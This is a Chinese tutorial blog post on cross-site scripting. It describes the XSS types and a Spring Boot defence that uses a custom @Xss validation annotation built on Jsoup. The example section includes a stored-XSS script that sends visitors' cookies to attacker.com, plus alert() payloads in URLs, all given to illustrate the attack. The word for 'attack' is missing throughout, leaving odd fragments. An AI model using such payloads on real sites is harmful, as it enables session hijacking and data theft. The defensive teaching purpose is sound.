一、XSS概述
XSS,全称为跨站脚本(Cross-Site Scripting),是一种常见的网络手段。它主要利用了Web应用程序对用户输入验证的不足,允许者将恶意脚本注入到其他用户浏览的网页中。
1.1 XSS的定义
XSS是指者在Web页面的输入数据中插入恶意脚本,当其他用户浏览该页面时,这些脚本就会在用户的浏览器上执行。由于脚本是在受害用户的上下文中执行的,因此它可以访问该用户的所有会话信息和权限,从而可能导致信息泄露、会话劫持、恶意操作等安全风险。
1.2 XSS的类型
XSS主要分为以下三种类型:
存储型XSS(Persistent XSS):恶意脚本被永久存储在目标服务器上,如数据库、消息论坛、访客留言等,当用户访问相应的网页时,恶意脚本就会执行。
反射型XSS(Reflected XSS):恶意脚本并不存储在目标服务器上,而是通过诸如URL参数的方式直接在请求响应中反射并执行。这种类型的通常是通过诱使用户点击链接或访问特定的URL来实施的。
基于DOM的XSS(DOM-based XSS):这种类型的XSS完全发生在客户端,不需要服务器的参与。它通过恶意脚本修改页面的DOM结构,实现。
1.3 XSS的原理及示例
XSS的基本原理是利用Web应用程序对用户输入的信任,将恶意脚本注入到响应中。当其他用户访问包含恶意脚本的页面时,脚本会在他们的浏览器中执行。
可以参考:前端安全系列(一):如何防止XSS? - 美团技术团队 (meituan.com)
示例:
存储型XSS:
者在一个博客评论系统中提交以下评论:
<script>
document.location='http://attacker.com/steal.php?cookie='+document.cookie;
</script>
当其他用户查看这条评论时,他们的cookie会被发送到者的服务器。
反射型XSS :
者构造一个恶意URL:
http://example.com/search?q=<script>alert('XSS')</script>
如果服务器直接将搜索词嵌入到响应中而不进行过滤,用户点击此链接后会看到一个警告框。
DOM型XSS :
假设网页中有以下JavaScript代码:
var name = document.location.hash.substr(1);
document.write("欢迎, " + name);
者可以构造如下URL:
http://example.com/page.html#<script>alert('XSS')</script>
1
当用户访问此URL时,恶意脚本会被执行。
二、Spring Boot中的XSS防御手段
在Spring Boot中,我们可以采用多种方式来防御XSS 。下面将详细介绍两种常用的防御手段:使用注解和使用过滤器。
2.1 使用注解进行XSS防御
注解是一种轻量级的防御手段,它可以在方法或字段级别对输入进行校验,从而防止XSS 。
2.1.1 引入相关依赖
<!--JSR-303/JSR-380用于验证的注解 -->
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-validation</artifactId>
<version>3.2.0</version>
</dependency>
2.1.2 使用@XSS注解进行参数校验
我们可以自定义一个@XSS注解,用于标记那些需要校验的参数。这里是一个简单的@XSS注解定义:
@Target(value = { ElementType.METHOD, ElementType.FIELD, ElementType.CONSTRUCTOR, ElementType.PARAMETER })
@Retention(RetentionPolicy.RUNTIME)
@Constraint(validatedBy = XssValidator.class)
public @interface Xss {
String message() default "非法输入, 检测到潜在的XSS";
Class<?>[] groups() default {};
Class<? extends Payload>[] payload() default {};
}
2.1.3 实现自定义注解处理器
接下来,我们需要实现XSSValidator类,该类将负责检查输入是否包含潜在的XSS脚本:
public class XssValidator implements ConstraintValidator<Xss, String> {
/**
* 使用自带的 basicWithImages 白名单
*/
private static final Safelist WHITE_LIST = Safelist.relaxed();
/**
* 定义输出设置,关闭prettyPrint(prettyPrint=false),目的是避免在清理过程中对代码进行格式化
* 从而保持输入和输出内容的一致性。
*/
private static final Document.OutputSettings OUTPUT_SETTINGS = new Document.OutputSettings().prettyPrint(false);
/**
* 验证输入值是否有效,即是否包含潜在的XSS脚本。
*
* @param value 输入值,需要进行XSS脚本清理。
* @param context 上下文对象,提供关于验证环境的信息,如验证失败时的错误消息定制。
* @return 如果清理后的值与原始值相同,则返回true,表示输入值有效;否则返回false,表示输入值无效。
*/
@Override
public boolean isValid(String value, ConstraintValidatorContext context) {
// 使用Jsoup库对输入值进行清理,以移除潜在的XSS脚本。
// 使用预定义的白名单和输出设置来确保只保留安全的HTML元素和属性。
String cleanedValue = Jsoup.clean(value, "", WHITE_LIST, OUTPUT_SETTINGS);
// 比较清理后的值与原始值是否相同,用于判断输入值是否有效。
return cleanedValue.equals(value);
}
}
2.1.4 使用注解
在要进行XSS防御的属性上添加注解:
@Data
@Tag(name = "用户",description = "用户登录类")
public class UserLoginDTO {
@Xss
@NotBlank(message = "账号不能为空")
@Schema(name = "用户账号",type = "String")
private String userAccount;
@Xss
@Size(min = 6, max = 18, message = "用户密码长度需在6-18位")
@Schema(name = "用户密码",type = "String")
private String password;
@Xss
@NotBlank(message = "邮箱验证码内容不能为空")
@Schema(name = "邮箱验证码",type = "String")
private String emailCaptcha;
}
在Controller中的接口添加@Validated注解:
@PostMapping("/test2")
public Result<String> login(@RequestBody @Validated UserLoginDTO userLoginDTO) {
return Result.success();
}
标签:脚本,XSS,String,用户,恶意,过滤器,注解 From: https://blog.51cto.com/u_16270511/12055553